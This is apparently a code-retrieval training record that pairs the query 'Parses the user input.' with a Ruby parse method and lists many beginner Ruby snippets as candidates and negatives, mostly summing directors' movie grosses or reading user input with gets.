"def gross_for_director(director_data)\n i = 0\n tot = 0\n while i < director_data[:movies].count do\n tot += director_data[:movies][i][:worldwide_gross]\n i += 1\n end\n return tot\nend",
"def gross_for_director(director_data)\n count = 0\n sum = 0\n while director_data[:movies][count] do\n sum += director_data[:movies][count][:worldwide_gross]\n count += 1\n end\n \n return sum\nend",
"def gross_for_director(director_data)\n total_gross = 0\n\n i = 0\n while i < director_data[:movies].length\n worldwide_gross = director_data[:movies][i][:worldwide_gross]\n total_gross += worldwide_gross\n i += 1\n end\n\n total_gross\nend",
"def gross_for_director(director_data)\n movie_count = 0\n total_gross = 0\n while movie_count < director_data[:movies].length do\n total_gross += director_data[:movies][movie_count][:worldwide_gross]\n movie_count += 1\n end\n total_gross\nend",
"def gross_for_director(director_data)\n movie_index = 0 \n inner_result = 0 \n while movie_index < director_data[:movies].length do\n inner_result += director_data[:movies][movie_index][:worldwide_gross]\n movie_index += 1 \n end\n inner_result\nend",
"def gross_for_director(director_data)\n #dir_name = director_data[:name]\n movie_list = director_data[:movies]\n dir_gross = 0\n movie_index = 0\n while movie_index < movie_list.length do\n dir_gross += movie_list[movie_index][:worldwide_gross]\n movie_index += 1\n end\n dir_gross\nend",
"def gross_for_director(director_data)\n row_index = 0\n director_total = 0\n\n while row_index < director_data[:movies].length do\n director_total += director_data[:movies][row_index][:worldwide_gross]\n \n row_index += 1\n end\n\n director_total\nend",
"def gross_for_director(director_data)\n total_director_gross = 0\n director_data[:movies].each do |movie|\n total_director_gross += movie[:worldwide_gross]\n end\n total_director_gross\nend",
"def gross_for_director(director_data)\n gross = 0\n director_data[:movies].each do |n|\n gross +=n[:worldwide_gross]\n end\n return gross\nend",
"def gross_for_director(director_data)\n movie_index = 0 \n total_gross = 0\n while director_data[:movies][movie_index] do \n movie_hash = director_data[:movies][movie_index]\n total_gross += movie_hash[:worldwide_gross]\n movie_index += 1\n end \n total_gross\nend",
"def gross_for_director(director_data)\ntotal=0\nm= director_data[:movies]\nrow = 0\nwhile row < m.length \n g= m[row][:worldwide_gross]\n row += 1\n total += g\nend\ntotal\n\nend",
"def gross_for_director(director_data)\n total=0\n rownum=0\n while rownum< director_data[:movies].length\n total+=director_data[:movies][rownum][:worldwide_gross]\n rownum+=1\nend\nreturn total\nend",
"def gross_for_director(director_data)\n sum = 0\n x = 0\n\n while x < director_data[:movies].length do\n sum += director_data[:movies][x][:worldwide_gross]\n x += 1\n end\n\n sum\nend",
"def gross_for_director(director_data)\n #pp director_data\n\n result = []\n movie_index = 0\n\n while movie_index < director_data[:movies].length do\n total_gross = director_data[:movies][movie_index][:worldwide_gross]\n result.push(total_gross)\n movie_index += 1\n end\n puts result\n return result.sum\n end",
"def gross_for_director(director_data)\n total = 0\n index = 0\n\n while index < director_data[:movies].length do\n total += director_data[:movies][index][:worldwide_gross]\n index += 1\n end\n\n total\nend",
"def director_gross(director_data)\n movies_index = 0\n total = 0\n \n while movies_index < director_data[:movies].count do\n total += director_data[:movies][movies_index][:worldwide_gross] \n movies_index += 1\n end\n total\nend",
"def gross_for_director(director_data)\ntotal = 0\nmovie_index = 0\n while movie_index<director_data[:movies].length do\n total+=director_data[:movies][movie_index][:worldwide_gross]\n movie_index+=1\n end\ntotal\nend",
"def gross_for_director(director_data)\n #total gross for director\n director_total = 0\n #movie iterator\n movie_element = 0\n #iterate through movies\n while movie_element < director_data[:movies].length do\n #add movie gross to total for director\n director_total += director_data[:movies][movie_element][:worldwide_gross]\n #increase movie iterator\n movie_element += 1\n end\n return director_total\nend",
"def gross_for_director(director_data)\n movies_index = 0\n director_gross = 0\n movies_array = director_data[:movies]\n while movies_index < movies_array.length do\n director_gross += movies_array[movies_index][:worldwide_gross]\n movies_index += 1\n end\n p director_gross\nend",
"def gross_for_director(director_data)\n #p director_data\n i = 0\n total = 0\n while i < director_data[:movies].length do\n total += director_data[:movies][i][:worldwide_gross] \n i += 1\n end\n total\nend",
"def gross_for_director(director_data)\n counter = 0\n #gross = directors_database[:movies].count()\n # len = directors_database[director_data][:movies].length\n# while counter < len do \n# gross = directors_database[0][:movies][0][:worldwide_gross]\n# end\n\n# counter += 1\n # while\n new = 0\n limit = director_data[:movies].size\n while counter < limit do\n new += director_data[:movies][counter][:worldwide_gross]\n \n counter += 1\nend \n \n new\nend",
"def gross_for_director(director_data)\n i = 0 \n total = 0\n while i < director_data[:movies].length do \n total += director_data[:movies][i][:worldwide_gross]\n i += 1 \n end \n total \nend",
"def gross_for_director(director_data)\n \n total = 0\n i = 0 \n while i < director_data[:movies].length do\n total += director_data[:movies][i][:worldwide_gross]\n i += 1\n\n\nend\n\nreturn total\nend",
"def gross_for_director(director_data)\n # index = 0\n coordinate_total = 0\n # while index < director_data.length do\n totalindex = 0\n while totalindex < director_data[:movies].length do\n coordinate_total += director_data[:movies][totalindex][:worldwide_gross]\n totalindex += 1\n # end\n # index += 1\n end\n coordinate_total\n\nend",
"def gross_for_director(director_data)\nmovieNum = 0\ntotalGross = 0\nwhile movieNum < director_data[:movies].length do\n totalGross += director_data[:movies][movieNum][:worldwide_gross]\n movieNum += 1\nend\ntotalGross\nend",
"def gross_for_director(nds)\n\n sum=0\n idx2 = 0\n while idx2 < nds[:movies].length\n # p director_database[idx1][:movies][idx2][:worldwide_gross]\n sum += nds[:movies][idx2][:worldwide_gross]\n idx2 +=1\n end\n # puts sum\n # puts \"-\"\n sum\nend",
"def gross_for_director(d)\n total = 0\n index = 0\n while index < d[:movies].length do\n total += d[:movies][index][:worldwide_gross]\n index += 1\n end\n total\nend",
"def gross_for_director(director_data)\n grand_total = 0\n row_index = 0\n column_index = 0\n while column_index < directors_database[row_index][:movies].length do\n grand_total += directors_database[row_index][:movies][column_index][:worldwide_gross]\n column_index += 1\n end\n grand_total\nend",
"def gross_for_director(director_data)\nfilmsMade = director_data[:movies].length\n movies_index = 0 \n gross_index = 0\n\n while gross_index < filmsMade do\n director_gross = director_data[:movies][gross_index][:worldwide_gross]\n movies_index += director_gross \n gross_index += 1\n end \n\n movies_index\nend",
"def gross_for_director(director_data)\n earnings = 0\n which_mov = 0\n while which_mov < director_data[:movies].length do\n earnings += director_data[:movies][which_mov][:worldwide_gross]\n which_mov += 1\n end\n earnings \nend",
"def gross_for_director(director_data)\n\n \n col = 0\n value = 0\n \n while col < director_data[:movies].length do\n \n value = value + director_data[:movies][col][:worldwide_gross]\n # puts director_data[row][:movies][col][:worldwide_gross]\n # puts value\n col += 1\n end\n # puts value\n value \nend",
"def gross_for_director(director_data)\ntotal = 0\nindex_movies = 0\nmovie = director_data[:movies]\nwhile index_movies < movie.length do\n puts movie[index_movies][:worldwide_gross]\n total = total + movie[index_movies][:worldwide_gross]\n index_movies += 1\n \nend\ntotal\nend",
"def gross_for_director(director_data)\ntotal=0 \ncolumn_index=0\nwhile column_index<director_data[:movies].length do \ntotal+=director_data[:movies][column_index][:worldwide_gross]\ncolumn_index+=1\nend\ntotal\nend",
"def gross_for_director(nds, element_index)\n total = 0\n new_index = 0\n \n #extract numbers\n while new_index < nds[element_index][:movies].length do\n total = total + nds[element_index][:movies][new_index][:worldwide_gross]\n new_index += 1\n end\n total\nend",
"def gross_for_director(director_data)\n\ntotal = 0 \nindex = 0 \n while index < director_data[:movies].length \n director_gross = director_data[:movies][index][:worldwide_gross]\n total += director_gross\n index += 1 \n end \n\n#binding.pry \n\nreturn total\nend",
"def gross_for_director(director_data)\n director_total = 0 #intialization\n row_index = 0 # intialization\n\n while row_index < director_data[:movies].length do # \n \n director_total += director_data[:movies][row_index][:worldwide_gross] # adds each movies gross to a value director_total \n \n # puts \" World wide gross for the #{row_index + 1} movie is #{director_total}\" \n row_index += 1 \n end\n return director_total\nend",
"def gross_for_director(director_data)\n new_array = director_data[:movies]\n i = 0 \n total_gross = 0\n while i < new_array.length do\n anotha_array = new_array[i]\n gross = anotha_array[:worldwide_gross]\n total_gross += gross\n i+=1\n end\n total_gross\nend",
"def gross_for_director(director_data)\n \n result = {}\n movie_gross = 0\n movie_index = 0\n \n director_movies = director_data[:movies] # this is pointing to an array of hashes\n puts director_movies\n director_name = director_data[:name] # √\n \n while movie_index < director_movies.count do\n movie_gross += director_movies[movie_index][:worldwide_gross]\n movie_index +=1\n end\n \n movie_gross \nend",
"def gross_for_director(director_data)\n array = director_data[:movies]\n i = 0 \n total = 0\n \n while i < array.length do\n obj = array[i]\n income = obj[:worldwide_gross]\n \n total += income\n i+=1\n end\n \n return total\nend",
"def total_gross(source)\n total =0 \n name_key = list_of_directors(source)\n individual_gross_hash = directors_totals(source)\n dir_index=0\n while dir_index < name_key.length\n total+= individual_gross_hash[name_key[dir_index]]\n dir_index+=1 \n end\n total\nend",
"def total_gross(source)\n # Write this implementation\n #\n # Should use methods:\n # 1. directors_totals: returns a Hash of { dir_name => gross }\n # 2. list_of_directors: names provides an Array of directors names (use\n \n total_all_directors = 0\n idx_dir = 0\n # Array de string\n noms_de_dirs = list_of_directors(source)\n # Hash donde las llaves son string y los valores son Integer\n money_dirs = directors_totals(source)\n \n while idx_dir < noms_de_dirs.length\n # Key is a string\n key = noms_de_dirs[idx_dir]\n total_all_directors += money_dirs[key]\n idx_dir += 1 \n end\n \n return total_all_directors\n \n #\n # Visit each key (i.e. director name), look up the value in the hash\n # returned by directors_totals, and add it to a running total. When done,\n # return the total\nend",
"def gross_for_director(director_data)\nend",
"def gross_for_director(director_data)\nend",
"def directors_totals(nds)\n # Remember, it's always OK to pretty print what you get *in* to make sure\n # that you know what you're starting with!\n #\n #\n # The Hash result be full of things like \"Jean-Pierre Jeunet\" => \"222312123123\"\n\n #\n # Use loops, variables and the accessing method, [], to loop through the NDS\n # and total up all the\n # ...\n # ...\n # ...\n #\n #\n # Be sure to return the result at the end!\n\n result = {}\n\n director_index = 0\n movie_index = 0\n\n while director_index < nds.size do\n director = nds[director_index][:name]\n result[director] = 0\n while movie_index < nds[director_index][:movies].size do\n result[director] += nds[director_index][:movies][movie_index][:worldwide_gross]\n movie_index += 1\n end\n director_index += 1\n movie_index = 0\n end\n\n result\nend",
"def directors_totals(nds)\n result = {} \n directors_index = 0 \n while directors_index < nds.length do \n directors = nds[directors_index][:name]\n result[directors] = 0 \n movie_index = 0\n totalmade = 0 \n while movie_index < nds[directors_index][:movies].length do\n directors_gross = nds[directors_index][:movies][movie_index][:worldwide_gross]\n result[directors] += directors_gross\n movie_index += 1 \n end \n directors_index += 1 \n end \n result\nend",
"def directors_totals(nds)\n total = {}\n i = 0\n while i < nds.length do\n director = nds[i][:name]\n total[director] = gross_for_director(nds[i])\n i += 1 \n end\n return total \nend",
"def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend",
"def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend",
"def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend",
"def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend",
"def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend",
"def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend",
"def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend",
"def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend",
"def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend",
"def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend",
"def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend",
"def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend",
"def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend",
"def gross_for_director(director_data)\n\nend",
"def gross_per_studio(collection)\n result = {}\n i = 0\n while i < collection.size do\n studio = collection[i][:studio]\n total_earnings = collection[i][:worldwide_gross]\n if !result[studio]\n result[studio] = total_earnings\n else\n result[studio] += total_earnings\n end\n i += 1\n end\n \n # GOAL: Given an AoH where each Hash is a movie, return a Hash that includes\n # the total worldwide_gross of all the movies from each studio.\n #\n # INPUT: (collection) AoH where each Hash represents a movie\n #\n # RETURN: Hash where the keys are the studios and the values are the sum of\n # all the worldwide_gross numbers for every movie in the input Hash\n \n result\nend",
"def get_gross_for(title, movies)\n movie = movies.find{|movie| movie[:title] == title}\n movie = movie[:gross].gsub(/[$,]/, '').to_i\nend",
"def directors_totals(nds)\nresult = []\n r_index=0 \n while r_index < nds.length \n i=0 \n total=0 \n\n n= nds[r_index][:name]\n t= nds[r_index][:movies]\n while i < t.length\n \n k= t[i][:worldwide_gross]\n total += k\n \n i += 1\n end\n r_index += 1\n result << [n , total]\n end\n result.to_h\n end",
"def directors_totals(source)\n result = {}\n director_index = 0\n while director_index < source.size do\n director = source[director_index]\n result[director[:name]] = gross_for_director(director)\n director_index += 1\n end\n result\nend",
"def determine_winner game\n winner = game.max_by {|team| team[:score]}\n team_standings = get_team_by_name(winner)\n team_standings[:winnings] += 3\nend",
"def gross_per_studio(collection)\n new_hash = {}\n counter = 0 \n while counter < collection.length do \n studio_name = collection[counter][:studio]\n ww_gross = collection[counter][:worldwide_gross]\n if !new_hash[studio_name]\n new_hash[studio_name] = ww_gross\n else \n new_hash[studio_name] += ww_gross\n end \n counter += 1 \nend\nreturn new_hash\nend",
"def cumulative_gross(array)\n #gave the franchise total of 0\n bond_franchise = 0\n #loop through the array of each movie\n array.each {|movie|\n #get the movie to be an integer and put that as a variable of the gross\n the_gross = movie[:gross].delete('$').split(',').join.to_i\n #the total of the franchise will add the gross of each movie\n #as it loops it will continue adding all the gross together\n bond_franchise = bond_franchise + the_gross\n }\n #this will output the total gross in integer that is converted back into $ with , to read the total $ about better\n puts \"#{bond_franchise.to_s.reverse.scan(/.{1,3}/).join(',').reverse.insert(0,'$')}\"\nend",
"def gross(movie_name)\n for m in movies\n if m.title == movie_name\n return m.gross\n end\n end\n return -1\n end",
"def total_medals_per_team(olympic_data)\n\n team_medals_hash = {}\n\n olympic_data.each do |data|\n\n if team_medals_hash.key?(data[\"Team\"])\n if [\"Gold\", \"Silver\", \"Bronze\"].include?(data[\"Medal\"]) #SAME TEAM, MEDAL\n team_medals_hash[data[\"Team\"]] += 1\n end\n else\n\n if [\"Gold\", \"Silver\", \"Bronze\"].include?(data[\"Medal\"]) # NEW TEAM, MEDAL\n team_medals_hash[data[\"Team\"]] = 1\n else\n team_medals_hash[data[\"Team\"]] = 0\n\n end\n end\n end\n return team_medals_hash\nend",
"def battlers_number\n return @battlers_number.sum\n end",
"def count_contestants_by_hometown(data, hometown)\n home_town = 0\n data.each do |season_iteration, stats|\n stats.each do |town|\n if town[\"hometown\"] == hometown\n home_town = home_town + 1\n end\n end\n end\n return home_town\nend",
"def lift_total_for_gym\n total = 0\n lifters.each do |lifter|\n total += lifter.lift_total\n end\n total\n end",
"def week_1_total\n total = 0\n rostered_players.each do |rostered_player|\n total += rostered_player.player.week_1_score\n end\n return total\n end",
"def its_a_tie game\n game.each do |team|\n team_standings = get_team_by_name(team)\n team_standings[:winnings] += 1\n end\nend",
"def big_shoe_rebounds\n big_foot = 0\n boards = 0\n\n game_hash.values.each do |roster|\n roster[:players].each do |player|\n if player[:shoe] > big_foot\n big_foot = player[:shoe]\n boards = player[:rebounds]\n end\n end\n end\n return boards\nend",
"def total\n wins + losses\n end",
"def occupation\n occupation_sum = 0\n team_roles.each do |team_role|\n occupation_sum += team_role.occupancy\n end\n return occupation_sum\n end",
"def determine_possible_num_moves(gm, rd, md)\n puts \"Determining possible total moves...\"\n min = [ md[:max_val], rd[:num_regions] * 2 - 1 ].max\n max = gm[:x] * gm[:y]\n poss_ms = []\n for i in min..max do\n if i % rd[:num_regions] == 0 or (i + 1) % rd[:num_regions] == 0\n poss_ms.push(i)\n end\n end\n puts \"poss_ms = \" + poss_ms.to_s\n return poss_ms\nend",
"def moneys_total\n moneys_total = 0\n mini_maps.each do |map|\n moneys_total += map.moneys_total\n end\n return moneys_total\n end",
"def num_points_scored(player)\n game_hash.each do |location, team_data| #location returns away, team_data returns hash\n # binding.pry\n team_data.each do |attribute, data|\n # binding.pry\n if attribute == :players\n data.each do |player_name, categories|\n # binding.pry\n if player_name == player\n # binding.pry\n return categories[:points]\n end\n end\n end\n end\n end\nend",
"def number( gm )\n num = nil\n gm.players.each_with_index{|pl, i| num = i if (pl == self) }\n (num + 1) if num.is_a? Integer\n end",
"def num_points_scored(player_name)\npoints_scored = 0\ngame_hash.each do |location, team_data|\n team_data.each do |attribute, data|\n if attribute == :players\n data.each do |player, stats|\n if player == player_name\n points_scored = stats[:points]\n end\n end\n end\n end\nend\npoints_scored\nend",
"def count_losses\n loss_no = 0\n Battle.where(\"movie_loser\" => self.id).each do\n loss_no += 1 \n end\n return loss_no\n end",
"def lift_total_for_gym\n total = 0\n self.lifters.each do |lifter|\n total += lifter.lift_total\n end\n total\n end",
"def total_medals_per_team(olympic_data)\n counts = olympic_data.group_by{ |x| x[:\"Team\"] }.map{ |x,y| [x,y.count] }\n counts = Hash[counts]\n return counts\nend",
"def num_points_scored(player_name)\n\ngame_hash.each do |location, team_data|\n team_data.each do |attribute, values|\n if attribute == :players\n values.each do |person, data|\n if person.to_s == player_name\n return game_hash[location][:players][person][:points]\n end\n end\n end\n end\n end\nend",
"def get_gross_for(title,array)\n #loops the array and locates each hash in the array\n array.each {|movie|\n #if the title of the move matches the symbol title in the hash then\n if title == movie[:title]\n #gives the movie gross by deleting the $ sign and removing the , to join it and return the integer only\n puts \"#{movie[:gross].delete('$').split(',').join.to_i}\"\n end\n }\nend",
"def count_contestants_by_hometown(data, hometown)\n all_seasons(data).reduce(0) do |sum, contestant|\n if contestant[\"hometown\"] == hometown \n sum + 1 \n else \n sum \n end\n end\nend",
"def total_games_by_coach_by_season\n @total_games_by_coach = Hash.new{ |hash, key| hash[key] = 0}\n @by_season_game_team_objects.each do |game_by_season|\n @total_games_by_coach[game_by_season[\"head_coach\"]] += 1\n end\n end",
"def combined_lift_total\n clt = 0\n Membership.all.select do |membership_instance|\n if membership_instance.gym == self\n clt += membership_instance.member.lift_total\n end\n end\n clt\n end",
"def winning_team\n final_scores = player_collection.reduce(home: 0, away: 0) { |teams_points, next_player|\n case \n when next_player[:location] === :away\n teams_points[:away] += next_player[:points];\n when next_player[:location] === :home\n teams_points[:home] += next_player[:points];\n end\n teams_points; \n }\n winner = final_scores.reduce { |highest_points, team_points| \n highest_points[1] > team_points[1] ? highest_points : team_points; \n }\n game_hash[winner[0]][:team_name]; \nend"
] | [
"0.8030293",
"0.7978247",
"0.7977822",
"0.7925302",
"0.789238",
"0.7839118",
"0.7754274",
"0.775082",
"0.77156013",
"0.7669104",
"0.7668819",
"0.7653319",
"0.7607447",
"0.7601318",
"0.7600932",
"0.7586774",
"0.75804365",
"0.7576979",
"0.7556352",
"0.75259334",
"0.75167644",
"0.7511589",
"0.7505192",
"0.7488852",
"0.7487177",
"0.74596584",
"0.7455686",
"0.74546105",
"0.7429569",
"0.7417089",
"0.74039775",
"0.73419154",
"0.7336737",
"0.7328366",
"0.73167443",
"0.7299827",
"0.72441846",
"0.7124742",
"0.7109613",
"0.7103367",
"0.71001786",
"0.70873904",
"0.7052547",
"0.70331496",
"0.70093834",
"0.70047605",
"0.68798083",
"0.6789387",
"0.65618646",
"0.6449914",
"0.6172079",
"0.6172079",
"0.61691594",
"0.6124277",
"0.59793186",
"0.5974568",
"0.5974175",
"0.5974175",
"0.5974175",
"0.5974175",
"0.5974175",
"0.5974175",
"0.5974175",
"0.5974175",
"0.5974175",
"0.5974175",
"0.5974175",
"0.5974175",
"0.59581345",
"0.59560937",
"0.594381",
"0.5901587",
"0.585284",
"0.58202916",
"0.5806455",
"0.57729536",
"0.57481956",
"0.5706003",
"0.5672836",
"0.56005865",
"0.55632544",
"0.5510958",
"0.5501917",
"0.5499417",
"0.5488668",
"0.5488632",
"0.5487648",
"0.54732853",
"0.5467101",
"0.54566866",
"0.5453459",
"0.54370695",
"0.54280454",
"0.54184747",
"0.54094166",
"0.54077655",
"0.5406908",
"0.5402487",
"0.5397582",
"0.53966725"
] | 0.7936656 | 3 |
Parses the user input. | def parse(data)
input = Descriptor.new(data)
result = case
when input.empty?
@synchronizer.fetch
when input.params?
find_or_fetch_by_params(input.data)
when input.remote_id?
@synchronizer.find(data)
when input.local_id?
find_by_local_id(data)
when input.array_of_ids?
find_by_array_of_ids(input)
else
result = data.dup
end
[result].flatten.compact
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_user_input\n print \">> \"\n input = gets.chomp\n begin\n parse_user_input(input)\n rescue StandardError\n invalid_command\n end\n end",
"def parse_input(input)\n\tinput.split(\" \")\nend",
"def parse_input \n \t\tformat_input\n\n \t\tp \"Input is #{@input_params}\"\n #begin\n\t\t\t# check if the input refers to an explicit datetime like today etc\n\t\t\tif explicit_date? @input_params\n\t\t\t\tinterpret_explicit_date @input_params\n\t\t\t# check if the input refers to relative input like next friday or next month etc\n\t\t\telsif relative_date? @input_params\n\t\t\t\tinterpret_relative_date @input_params\n\t\t\t# check if the input refers to a past of future date and interpret it\n\t\t\telsif date = past_or_future_date(@input_params)\n\t\t\t\tdate\n\t\t\t# Try Ruby Date Parser \n\t\t\telse\n\t\t\t\tDateTime.parse(@input_params)\n\t\t\tend\n \t\t#rescue\n\t\t#\tp \"Sorry!! Something went wrong. Pls. check and try again\"\t\n #end\n \tend",
"def process_input\n\n while movement = connection.gets.chomp\n begin\n parse movement\n end\n end\n end",
"def parse_input(input)\n begin\n\n parsed = input.scan(/\\A([fr])\\((\\d),(\\d)\\)\\z/)\n if parsed.empty? && input.downcase != \"save\"\n raise \"Invalid input\"\n end\n \n rescue\n puts \"Sorry, invalid format. Please try again with format: \\'r(2,3)\\'\"\n retry\n end\n \n parsed.flatten\n \n end",
"def get_user_input\n user_input_valid gets.chomp\n end",
"def readInput\r\n puts 'Please enter a valid Temperature: '\r\n input = gets.to_s\r\n anArray = input.split(' ')\r\n self.myDegrees = anArray[0].to_f\r\n self.myScale = anArray[1].upcase\r\n checkIfValid(self.myDegrees, self.myScale)\r\n end",
"def parse(input = nil, options = 0)\n end",
"def begin_input\n\t\tinput = nil\n\t\tuntil input != nil\n\t\t\tinput = case gets.chomp.downcase\n\t\t\twhen \"hard\", \"h\" then :hard\n\t\t\twhen \"medium\", \"m\" then :medium\n\t\t\twhen \"mom\" then :mom\n\t\t\telse nil\n\t\t\tend\n\t\t\tputs \"That is not a valid input!\" if not input\n\t\tend\n\t\tinput\n\tend",
"def get_input_main\n input = gets.chomp.downcase\n case input\n when 'all'\n flight_list \n when 'year'\n year\n when 'rocket'\n rocket\n when 'success'\n success_failure\n when 'number'\n flight_number\n when 'mission'\n mission_name\n when 'random'\n random\n when 'exit'\n exit\n else \n begin\n raise Error\n rescue Error => error\n Error.invalid_input\n get_input_main\n end\n end\n end",
"def input_guess\n puts 'Input a code!'\n begin\n input = gets\n parse(input)\n rescue NoMethodError\n input_error\n end\n end",
"def user_input\n puts \"Please enter your planet name, planet year length in days, and distance from the sun separated by commas(,).\\n\"\n user = gets.chomp.strip.split(\",\")\n user_planet = {}\n user.each do |hashify|\n user_planet[:name] = user[0]\n user_planet[:planet_year] = user[1].strip\n user_planet[:distance_from_sun] = user[2].strip\n end\n return user_planet\nend",
"def read_values\n # Read the Apocalypse Server information\n url = read_user_input(\"Enter The full address of the Apocalypse server: \").downcase\n @port = read_user_input(\"Enter The port number of the Apocalypse server {{default}}: \", \"80\")\n \n # Cleanup the user input for the server input\n url = url.gsub(/http:\\/\\/(.+?$)/, \"\\\\1\") if url =~ /^http:\\/\\//i\n @address = url.gsub(/\\/$/, \"\")\n\n # HTTP auth variables\n @username = read_user_input(\"Enter your username {{default}}: \" , `whoami`)\n @password = read_user_input(\"Enter your password: \" , \"\", false)\n \n # This servers hostname\n @hostname = read_user_input(\"Enter The full hostname(FQDN) {{default}}: \" , `hostname`).downcase\n end",
"def readIn\n puts(\"The format is xxx.xx A where xxx.xx is a real value\\n\")\n puts(\"and A is a character representing a unit system (F, R, C, K)\\n\")\n\n val = -460.00\n unit = 'F'\n until isValid( val, unit)\n print(\"Enter here: \")\n # The input string can have a space => slice it out\n # It also has a '\\n' at the end (important for indexing)\n inputStr = gets \n inputStr.slice!(\" \")\n val = inputStr[0..-3].to_f\n unit = inputStr[-2, 1].upcase\n if not isValid( val, unit ) then \n puts(\"Value and unit do not constitute a valid\")\n puts(\"Temperature. Please try again.\")\n end \n end\n\n @value = val\n @unit = unit\n self \n end",
"def user_input\n\tgets\nend",
"def get_input\n @input = gets.strip\n end",
"def prompt_name\n puts \"Please input a name:\"\n # split name on spaces\n name_parts = gets.chomp.split\n\n if name_parts.count != 2\n raise \"Uh-oh, finnicky parsing!\"\n end\n\n name_parts\nend",
"def get_user_input\n gets.strip\nend",
"def process_input\n if state.user_input == :star\n input_star\n elsif state.user_input == :star2\n input_star2\n elsif state.user_input == :target\n input_target\n elsif state.user_input == :target2\n input_target2\n elsif state.user_input == :remove_wall\n input_remove_wall\n elsif state.user_input == :remove_wall2\n input_remove_wall2\n elsif state.user_input == :add_hill\n input_add_hill\n elsif state.user_input == :add_hill2\n input_add_hill2\n elsif state.user_input == :add_wall\n input_add_wall\n elsif state.user_input == :add_wall2\n input_add_wall2\n end\n end",
"def get_input\n begin\n inp = gets.chomp\n raise Error unless %w{s h d}.include?(inp)\n rescue\n retry\n end\n inp\n end",
"def parse input\n ## split input into lines, remove comments and evaluate any variables\n\n lines = input.split(\"\\n\").delete_if { |l| \n l == \"\" || l =~ /^;;/ }.map{ |l| evaluate_line l }\n\n scan lines\n end",
"def parse_input(input)\n input = input.strip\n case input\n when ReservedWords::TRUE\n Memory::Value.bool true\n when ReservedWords::FALSE\n Memory::Value.bool false\n when /^(-?)[0-9]+\\.[0-9]+$/\n Memory::Value.float input.to_f\n when /^(-?)[0-9]+$/\n Memory::Value.int input.to_i\n when /^\\[.*\\,.*\\]$/\n array = input.tr('[', '').tr(']', '').split(',')\n array = array.map { |s| parse_input(s) }\n Memory::Value.array array\n else\n Memory::Value.string input\n end\n end",
"def handle_input\n # Takes user input\n input = STDIN.gets.chomp\n system('clear')\n\n # Single word commands\n # QUIT\n if input == 'quit'\n @run_game = false\n puts \"Thanks for playing!\"\n sleep(3)\n system('clear')\n\n # BACKPACK\n elsif input == 'backpack'\n @player.print_backpack\n\n # HELP\n elsif input == 'help'\n puts \"Use the commands to move around the AirBnB and use items to help you escape.\"\n\n else\n # Double word commands \n input_arr = input.split(\" \")\n # User has only entered one word\n if input_arr.size > 1\n command1 = input_arr[0]\n command2 = input_arr[1]\n # TAKE ITEM\n if command1 == \"take\"\n take_item(command2)\n # USE ITEM\n elsif command1 == \"use\"\n use_item(command2)\n # GO ROOM\n elsif command1 == \"go\"\n go_room(command2)\n else\n # User doesn't specify second command\n puts \"I'll need more information than that!\"\n end\n else\n # User enters invalid command word\n puts \"That isn't a valid command\"\n end\n end\n end",
"def parser\n user_input = STDIN.gets.chomp\n begin\n if File.exist?(user_input.gsub(\"\\n\",''))\n file = File.read(user_input.gsub(\"\\n\",''))\n data_hash = JSON.parse(file)\n else\n data_hash = JSON.parse(user_input)\n end\n return data_hash\n rescue JSON::ParserError\n puts \"Unable to parse file or manual inputed inventory. Please try again.\"\n parser\n end\nend",
"def get_input \n puts \"to save this game, input 's,filename'\"\n puts \"to load a game, input 'l,filename'\"\n puts \"input a coordinate to access. prefix with r for reveal or f for flag\"\n puts \"example 'f,1,2' places a flag at 1,2\"\n input = gets.chomp\n \n args = input.split(',')\n end",
